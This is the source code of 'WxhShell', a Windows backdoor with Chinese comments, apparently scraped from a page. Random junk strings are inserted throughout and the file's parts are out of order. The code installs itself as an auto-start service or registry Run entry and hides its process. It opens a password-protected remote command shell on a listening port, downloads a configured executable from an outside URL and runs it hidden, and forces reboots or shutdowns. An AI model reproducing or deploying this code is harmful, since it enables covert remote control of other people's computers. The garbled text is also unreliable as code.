+omo u(`A?H: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,PxQ[CGg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )#Bfd(F 7V``f:#d HANDLE hProcess; ,]qX_`qF PROCESS_BASIC_INFORMATION pbi; -s "$I:v bu9&sQ; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fG5} '8 if(NULL == hInst ) return 0; dV cBf{R^>Fd g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^ w1R"qE"m g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UH|.@7w NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); shZ<j7gqI [&V%rhi if (!NtQueryInformationProcess) return 0; N)Kr4GC a[ l5k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dq(L1y870 if(!hProcess) return 0; TvwIro E=trJge if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1`\kXaG 3s`3}DKK CloseHandle(hProcess); RVx<2,[' +,>bpp1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Or>[_3 if(hProcess==NULL) return 0; Ij_`=w< HArYL}l HMODULE hMod; 0yNlf-O char procName[255]; RfRaWbn unsigned long cbNeeded; {NDP}UATw a| cD{d if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {jG`l$$ `_i-BdW CloseHandle(hProcess); )_?$B6hf,& D IN
PAyY if(strstr(procName,"services")) return 1; // 以服务启动 [K- s\ I),8EEf\ return 0; // 注册表启动 4[q *7m } JK`P
mp> 5yI D% // 主模块 p<e~x/@m* int StartWxhshell(LPSTR lpCmdLine) A[bxxQSP\H { %-CC_R|0$ SOCKET wsl; dz 2d`=`3 BOOL val=TRUE; }JsdgO&z int port=0; l!,{bOZ struct sockaddr_in door; Ls{fCi/2F jFfki.H if(wscfg.ws_autoins) Install(); cj
*4XYu ,YTIYG]( port=atoi(lpCmdLine); p2K9R4 gKCIfxM if(port<=0) port=wscfg.ws_port; 'CX
KphlWs ewg WzB9c WSADATA data; `fyAV@X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :ux`*,zh ,z3b2$
&A if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2Mda'T8 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !:5n door.sin_family = AF_INET; ]u ';zJ. door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]'q<wPi door.sin_port = htons(port); YBP{4Rl pxj"<q`nw8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e)kf;Hkf closesocket(wsl); k|5nu-B0v return 1; 7Go!W(8 } ~7
TzUb u+_#qk0NfK if(listen(wsl,2) == INVALID_SOCKET) { *$!LRmp? closesocket(wsl); '\Ub*m((1O return 1; Qp,l>k } F`u~Jx8.* Wxhshell(wsl); y(k2p WSACleanup(); Kf.b
<wP{ 6X7_QBC) return 0; %}[??R0 V|)> } XvdhPOMy Gf?KpU // 以NT服务方式启动 z0sB*5VH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FQyiIT6 { 6D],275`J DWORD status = 0; $m>e!P>%u DWORD specificError = 0xfffffff; v|GvN|_| K^bn4Nr serviceStatus.dwServiceType = SERVICE_WIN32; ,o)MiR9-[A serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,n*.Yq serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5kF5`5+Vj serviceStatus.dwWin32ExitCode = 0; _*9Zp1r serviceStatus.dwServiceSpecificExitCode = 0; d:D2[ serviceStatus.dwCheckPoint = 0; 1;W>ceN" serviceStatus.dwWaitHint = 0; C6n4OU SxDE3A-: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c.fj[U|j if (hServiceStatusHandle==0) return; nCrNZ&P Mw~?@Sq status = GetLastError(); AZa3!e/1 if (status!=NO_ERROR) kBzzi^cl { gT.-Cf{ serviceStatus.dwCurrentState = SERVICE_STOPPED; o;.-I[9h] serviceStatus.dwCheckPoint = 0;
-AX3Rnv^! serviceStatus.dwWaitHint = 0; nTAsy0p] serviceStatus.dwWin32ExitCode = status; 2Y+*vN s3 serviceStatus.dwServiceSpecificExitCode = specificError; 'Khq!pC SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9\8""- return; ,>$#e1!J } md0=6<
}P VV serviceStatus.dwCurrentState = SERVICE_RUNNING; 1f=L8Dr serviceStatus.dwCheckPoint = 0;
}=U\v'%m serviceStatus.dwWaitHint = 0; <da! #12L if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =T$E
lXwJ } g@Zc'g/XB (GQy"IuFh // 处理NT服务事件,比如:启动、停止 ?vVkZsU VOID WINAPI NTServiceHandler(DWORD fdwControl) ,"'agg:St { 6]Jv3Re'(I switch(fdwControl) "#7i-?= { ;Y"J j case SERVICE_CONTROL_STOP: $3L7R serviceStatus.dwWin32ExitCode = 0; 3X:F9x>y serviceStatus.dwCurrentState = SERVICE_STOPPED; 7,1idY%cy serviceStatus.dwCheckPoint = 0; JI^w1I, T serviceStatus.dwWaitHint = 0; W{0:8_EI { 3 yElN.= SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,w6?}
N } u7mj return; :.dQY=6I case SERVICE_CONTROL_PAUSE: mT.F$Y9 serviceStatus.dwCurrentState = SERVICE_PAUSED; B$bsh. break; h2q]!01XP
case SERVICE_CONTROL_CONTINUE: HiC\U%We serviceStatus.dwCurrentState = SERVICE_RUNNING; ,'!&Z * break; `#R$ case SERVICE_CONTROL_INTERROGATE: UW+I 8\^ break; 8X%;29tow }; $\bH5|Hk] SetServiceStatus(hServiceStatusHandle, &serviceStatus); @:[/uqL } nXN0~,+ eYa gI // 标准应用程序主函数 ;cO0Y.V9l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >eC^]#c { bfJDF(=h ZD,l2DQ? // 获取操作系统版本 8[DD=[& OsIsNt=GetOsVer(); 4MM#\ GetModuleFileName(NULL,ExeFile,MAX_PATH); Dihk8qJ/6
={fi&j // 从命令行安装 IOA{lN6 if(strpbrk(lpCmdLine,"iI")) Install(); ri:fo'4TO |9y&;3 // 下载执行文件 ~ e"^-x if(wscfg.ws_downexe) { 6?_Uow} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sLTf).xh WinExec(wscfg.ws_filenam,SW_HIDE); DgdW.Kj|IL } F kWJB> t`LH\]6@ if(!OsIsNt) { xWD wg@ P // 如果时win9x,隐藏进程并且设置为注册表启动 ?*T`a oB HideProc(); +z4NxR
StartWxhshell(lpCmdLine); EU+sTe > } iz'8P-]K> else dI>oHMC if(StartFromService()) k@Hu0x // 以服务方式启动 &8;mcM//4 StartServiceCtrlDispatcher(DispatchTable); ENGw < else Rl,B !SF // 普通方式启动 xpV8_Gz; StartWxhshell(lpCmdLine); t Sg#2 T|E ;U return 0; EGs z{c[8@ } }{lOsZA I@hC$o :g,r l\S7 toQn]MT =========================================== lyib+Sa ?` ss[8d%V %PG0PH4? 9A6ly9DIS G q8/xxt GJ*AyYG " 'C[gcp rGN-jb)T+ #include <stdio.h> nBNZ@nD #include <string.h> ^=t yf&" #include <windows.h> 6s Pd")%G #include <winsock2.h> @<};Bo' #include <winsvc.h> [iDa6mcth #include <urlmon.h> |sI^_RdBv )N}xKw | #pragma comment (lib, "Ws2_32.lib") PKwx)!
Rz #pragma comment (lib, "urlmon.lib") `xtN+y F c`iSe$eS #define MAX_USER 100 // 最大客户端连接数 .D7\Hao #define BUF_SOCK 200 // sock buffer I($u
L@$ #define KEY_BUFF 255 // 输入 buffer rf9RG! #0mn_#-P) #define REBOOT 0 // 重启 !0w'S>e #define SHUTDOWN 1 // 关机 9)=as/o x$Lt?' #define DEF_PORT 5000 // 监听端口 qOng?(I /knt5 #define REG_LEN 16 // 注册表键长度 ]AN)M> #define SVC_LEN 80 // NT服务名长度 _]<]:b A$-{WN.W // 从dll定义API Pg`^EJ+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EqOB
0\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t rHj7Nw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i1/FNem typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K46mE QJv,@@mu // wxhshell配置信息 NoPM!.RU{ struct WSCFG { ^c=@2#^\ int ws_port; // 监听端口 \TKv3N char ws_passstr[REG_LEN]; // 口令 ncWASw` int ws_autoins; // 安装标记, 1=yes 0=no 'dx4L }d char ws_regname[REG_LEN]; // 注册表键名 H\O|Y@uVr char ws_svcname[REG_LEN]; // 服务名 1XSqgr"3 char ws_svcdisp[SVC_LEN]; // 服务显示名 /
{A]('t char ws_svcdesc[SVC_LEN]; // 服务描述信息 VB[R!S= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *{C)o0D int ws_downexe; // 下载执行标记, 1=yes 0=no Q,s,EooIx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `E}2|9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8x+K4B"oe >Vn!k N6\ }; H#1/H@I# C#gQJ=!B // default Wxhshell configuration Wve ^2lkoK struct WSCFG wscfg={DEF_PORT, wv1?v_4 "xuhuanlingzhe", /1O6;'8He 1, +wQGC "Wxhshell", ,x_g|J _Y "Wxhshell", w|>Y&/IX "WxhShell Service", /a]+xL "Wrsky Windows CmdShell Service", 3 \kT#nr "Please Input Your Password: ", `pLp+#1
`R 1, \0b",|"3 "http://www.wrsky.com/wxhshell.exe", eNXpRvY "Wxhshell.exe" &jj\-;=~Ho }; ZkqC1u3 of(Nq@ // 消息定义模块 H 9&?<j1n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .%*.nq char *msg_ws_prompt="\n\r? for help\n\r#>"; C@KYg/nYw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4E"qpy \( char *msg_ws_ext="\n\rExit."; t);5Cw_ char *msg_ws_end="\n\rQuit."; Cu!4ha.e` char *msg_ws_boot="\n\rReboot..."; J H$ char *msg_ws_poff="\n\rShutdown..."; uz*C`T0:rj char *msg_ws_down="\n\rSave to "; :pNZQX >+8mq]8^ char *msg_ws_err="\n\rErr!"; Q>X ;7nt0 char *msg_ws_ok="\n\rOK!"; Phx/9Kk a8dR. char ExeFile[MAX_PATH]; 3?fya8W< int nUser = 0; tl#hCy HANDLE handles[MAX_USER]; |>[w$ int OsIsNt; Wqy8ZgSC bG\1<:6B SERVICE_STATUS serviceStatus; 2wu
5`Z[E SERVICE_STATUS_HANDLE hServiceStatusHandle; m@jOIt!< +L_.XToq- // 函数声明 H4%wq int Install(void); CNP?i(Rk int Uninstall(void); q.MM|;_u` int DownloadFile(char *sURL, SOCKET wsh); FmnA+fA int Boot(int flag); xv1$,|^ts void HideProc(void); $'e.bh int GetOsVer(void); QO|ODW+D int Wxhshell(SOCKET wsl); -'ZP_$sA void TalkWithClient(void *cs); |QHWX^pO int CmdShell(SOCKET sock); Q,jlKgB5: int StartFromService(void); !3Pl]S~6! int StartWxhshell(LPSTR lpCmdLine); /wIZ ' sz}Nal$AC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DNL
TJrN VOID WINAPI NTServiceHandler( DWORD fdwControl ); z?V > ST 4N*^% // 数据结构和表定义 D:){T> SERVICE_TABLE_ENTRY DispatchTable[] = +!w?g/dV { O 89BN6p {wscfg.ws_svcname, NTServiceMain}, uE/qraA {NULL, NULL} g|2D(J }; #&DJ3(T ,$CZ(GQ // 自我安装 .%D] z{'' int Install(void) FSH6C2 { !M}&dW2 char svExeFile[MAX_PATH]; f!1KGP HKEY key; u,&Z5S strcpy(svExeFile,ExeFile); W+Iln`L `.><$F // 如果是win9x系统,修改注册表设为自启动 k ^+h>B-; if(!OsIsNt) { .]8 Jeb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L V9\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tMupX-V RegCloseKey(key); =niU6Q} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c L84}1QD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Y,
7 X RegCloseKey(key); ~~h9yvW7& return 0; &0Nd9%> } /@on=~ } ZVda0lex& } 6`EyzB%.$ else { }<S|_F C10A$=! // 如果是NT以上系统,安装为系统服务 \7W {/v4^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y<B " if (schSCManager!=0) R[o KhU { q E(`@G SC_HANDLE schService = CreateService @ /c{gD ( `SOaQ|H
schSCManager, hj9bMj wscfg.ws_svcname, x~KS;hA wscfg.ws_svcdisp, I /RvU, SERVICE_ALL_ACCESS, (A"oMnjWd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vW~_+:),e SERVICE_AUTO_START, mb?yG:L=0b SERVICE_ERROR_NORMAL, 4?8GK svExeFile, A7ck-9dT/L NULL, 60QElJ9D NULL, tjYe82 NULL, ~*G I<n NULL, +)ro
EJ_ NULL yKq;EcVx ); $^`hu%s,~ if (schService!=0) q-p4k`] { XMuZ'I CloseServiceHandle(schService); ? p\'S
w: CloseServiceHandle(schSCManager); NW^}u~-f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A.y"R)G strcat(svExeFile,wscfg.ws_svcname); 7!Fu.Ps
> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R-Uj\M> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v]vrD2L RegCloseKey(key); }p."7( return 0; {dCk iF } `\#Qr|GC } u;y1leG CloseServiceHandle(schSCManager); 9KCnitU } <w08p*? } At.WBa3j%{ CYG'W FvZZ return 1; I%pQ2T$; } ?c(f6p?% G=\rlH]N // 自我卸载 DlTV1X-^1 int Uninstall(void) gM_Z/$ { Qb9) 1 HKEY key; SyTcp?H .viA +V if(!OsIsNt) { $eI[3{}X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FVL0K(V( RegDeleteValue(key,wscfg.ws_regname); |0m h*+i RegCloseKey(key); \:^$ZBQr<n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'g( R4deCX RegDeleteValue(key,wscfg.ws_regname); 4 YI,: RegCloseKey(key); jhK&Z7; return 0; ^Fy)
oWS } Tf*X\{" } |+ @ } +)Z,%\)Z else { D3BX[ Sd}fse SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qo4AQ}0 < if (schSCManager!=0) : 8(~{<R { o"TEmZUP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U{{RRK| if (schService!=0) 9O P
d'f { [ *R8XXuL if(DeleteService(schService)!=0) { tz._*n83 CloseServiceHandle(schService); CuU"s) CloseServiceHandle(schSCManager); C$M^<z return 0; '$l*FWOEal } (w@|:0t^y[ CloseServiceHandle(schService); W:hR81ci } E$*I.i_m CloseServiceHandle(schSCManager); &<k)W } ENjrv } d.2
CSwNsFDR% return 1; Hm%[d;Z7 } -mcLT@ C[ <&%=
// 从指定url下载文件 :cIE8<\% int DownloadFile(char *sURL, SOCKET wsh) v"y
e\ZG { ml\7JW6Rx HRESULT hr; Je+L8TB char seps[]= "/"; !|,=rM9x char *token; o%Pi;8 char *file; >8 VfijK char myURL[MAX_PATH]; kax9RHvku char myFILE[MAX_PATH]; <&b ~(f V|<qO-#. strcpy(myURL,sURL); ';zLh token=strtok(myURL,seps);
X!nI{PE while(token!=NULL) [Zi\L>PHO { Y==# yNwM file=token; SAly~(r?/ token=strtok(NULL,seps); |M0 XLCNd_ } Lp1wA* RhX
2qsva- GetCurrentDirectory(MAX_PATH,myFILE); TDy@Y>
) strcat(myFILE, "\\"); li,kW`j+t strcat(myFILE, file); eAm7*2 send(wsh,myFILE,strlen(myFILE),0); &Lk@Xq1 send(wsh,"...",3,0); e Hd{'J< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [uZU p*.V if(hr==S_OK) />.& return 0; 7u o4F=% else st/Tb/ return 1; f}nGWV%, W >;AMun } nolTvqMT kZSe#'R's // 系统电源模块 a5]~%xdK int Boot(int flag) CDoZv"" { Y13IrCA2 HANDLE hToken; }#w>>{Q TOKEN_PRIVILEGES tkp; ^EZ)NG=e5 ;bkS0Vmg if(OsIsNt) { E(8O3*= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D;d'ss; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f5mk\^ tkp.PrivilegeCount = 1; gd# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %Xkynso~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |'Ve75 W6u if(flag==REBOOT) { FSc730rM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >L[,.}(9 return 0; QF!K$?EU[ } *l_1T4]S else { 2Np9*[C if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C
Hyb{:< return 0; bZ )3{ } )u3<lpoTy } ww+XE2, else { bZERh:%o if(flag==REBOOT) { <J[*~v%( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &{ntx~Eq return 0; };29'_.."x } k&yy_r
else { z4H!b+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D-~HJ return 0; j$N`JiKM } |~#!e}L( } }5zH3MPQH cf@:rHB} return 1; h9g5W'.# } 7-6_`Q2}Y /rKrnxw // win9x进程隐藏模块 #^xiv/sV void HideProc(void) ~wh8)rm { Ca?pK_Y AO>K
6{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _EjS(.e/= if ( hKernel != NULL ) /`:5#O { O:p~L`o>> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s:w LEj+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cg$7`/U FreeLibrary(hKernel); #H M0s~^w& } [u,B8DX DV{Qbe#In return; B7N?"'$i } sL+/Eeb` c /!jn$4fd: // 获取操作系统版本 S WYiI int GetOsVer(void) nVs0$?} { "4n_MV>p OSVERSIONINFO winfo; kw}J~f2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JF24~Q4P GetVersionEx(&winfo); fvN2]@: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7}TjOWC return 1; [8O`VSV3 else vTP'\^; return 0; xxiEL2"`> } 8~}Ti*Urc \T<?=A // 客户端句柄模块 jc)D*Cf int Wxhshell(SOCKET wsl) t4F 1[P {
]UFf- SOCKET wsh; 7NoB struct sockaddr_in client; 0dXZd2oK@ DWORD myID; xqM R[W\x 'rq
[P", while(nUser<MAX_USER) 0m51nw~B { a"#5JcR3 int nSize=sizeof(client); j.AAY?L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <7?MutHM- if(wsh==INVALID_SOCKET) return 1; H[!by)H m:X;dcq'3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xjv?Z"X if(handles[nUser]==0) Rz*%(2Vz closesocket(wsh); MLId3#Q else 0u)]1 nUser++;
5Lm ? } >|uZIcs 6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m|=/|Hm el- %#0 return 0;
V4ayewVX } Gi ZyC 70*Y4'u}A // 关闭 socket H.!M_aJH void CloseIt(SOCKET wsh) b _cD
>A { <:>a51HBX closesocket(wsh); :2K0/@<x nUser--; 6S<J'9sE ExitThread(0); +<8r?d2 } e9N"{kDs6 &YqgMC // 客户端请求句柄 %3'80u6BCJ void TalkWithClient(void *cs) o!\Vk~Vi& { AGS?<6W- n#bC, SOCKET wsh=(SOCKET)cs; TJ2$
Z char pwd[SVC_LEN]; N[ E
t char cmd[KEY_BUFF]; 80
i<Ij8J char chr[1]; ndW??wiM int i,j; z9'ME ]NG`MZ
while (nUser < MAX_USER) { <E!M<!h ?
vk;b! if(wscfg.ws_passstr) { 3QU<vdtr if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O62H4oT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l9#M`x9 //ZeroMemory(pwd,KEY_BUFF); ?5jkb i=0; OpUC98p?@ while(i<SVC_LEN) { trtI^^/% |brl<*: // 设置超时 tE=P9 \4 fd_set FdRead; 6\/C]![% struct timeval TimeOut; ?uOdqMJV FD_ZERO(&FdRead); f!0* ^d FD_SET(wsh,&FdRead); h68sQd TimeOut.tv_sec=8; U]d{hY." TimeOut.tv_usec=0; LF{d'jJ&K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |f?tyQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9m%[
y1v0 b2r@vZ]D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [bH6>{3u pwd=chr[0]; K7U` if(chr[0]==0xd || chr[0]==0xa) { Fl<BCJY pwd=0; ()= break; q%8,@xg } r;I3N+ i++; QJ-6aB } -HS(<V=a?k QcIa%lf // 如果是非法用户,关闭 socket :TX!lbCq if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^)D[ W(* } Et4gRS)\ >Vn;1 |w send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '@ (WT~g send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ef:.)!;jy 8u!!a^F while(1) { j<Lj1P3 >z.o?F ZeroMemory(cmd,KEY_BUFF); $ R,7#7bG 31Y+bxQ // 自动支持客户端 telnet标准 mJ)o-BV j=0; j%#n}H while(j<KEY_BUFF) { <p-R{}8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E+]gC cmd[j]=chr[0]; `N]!-=o if(chr[0]==0xa || chr[0]==0xd) { 7%V2 cmd[j]=0; Fp'k{ break; p\WW~qD } yL7a*C& j++; 0!eZ&.h?4 } oV&AJ=|\ vp{jh-& // 下载文件 jDqe)uVvtV if(strstr(cmd,"http://")) { Vf`1'GY send(wsh,msg_ws_down,strlen(msg_ws_down),0); "U4Sn'&h@ if(DownloadFile(cmd,wsh))
4b,N"w{v send(wsh,msg_ws_err,strlen(msg_ws_err),0); {%)bxk6 else Y2"X;`< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LIT{rR#8 } *"d" else { ^Z$%OM, 7D@O:yO switch(cmd[0]) { >Ke4lO" :{E;*v_!v // 帮助 Dny5X.8 case '?': { V{HP8f91 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g0:mm,t\ break; 2bPrND\P= } Ugp[Ugr // 安装 W`*S?QGzl@ case 'i': { ,JYvfCA if(Install()) cz~Fz;)2{N send(wsh,msg_ws_err,strlen(msg_ws_err),0); J'G 6Z7 else GKTrf\"c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `b=?z%LuT break; !iN=py } d OQU#5 // 卸载 U7bbJ>U_| case 'r': { +[<|TT if(Uninstall()) 7q&Ru|T33 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .z^ePZ|mV else zYvf}L&]h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8$xd;+`y' break; mJ2>#j;5f } Y;O\ >o[ // 显示 wxhshell 所在路径 N,0l5fD~T case 'p': { kAsYh4[ char svExeFile[MAX_PATH]; f"\G"2C strcpy(svExeFile,"\n\r"); (j@3=-%6 G strcat(svExeFile,ExeFile); 0
XxU1w8\V send(wsh,svExeFile,strlen(svExeFile),0); {*RyT.J break; .]SE>3 } l}:&} // 重启 B[%FZm $`M case 'b': { "CI#2tnL7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %SaC[9=? if(Boot(REBOOT)) j"{|* _6E_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?W:YS82 else { -r )Q| U closesocket(wsh); A>8"8=C ExitThread(0); vq-Tq> } ]:uJ&xUar |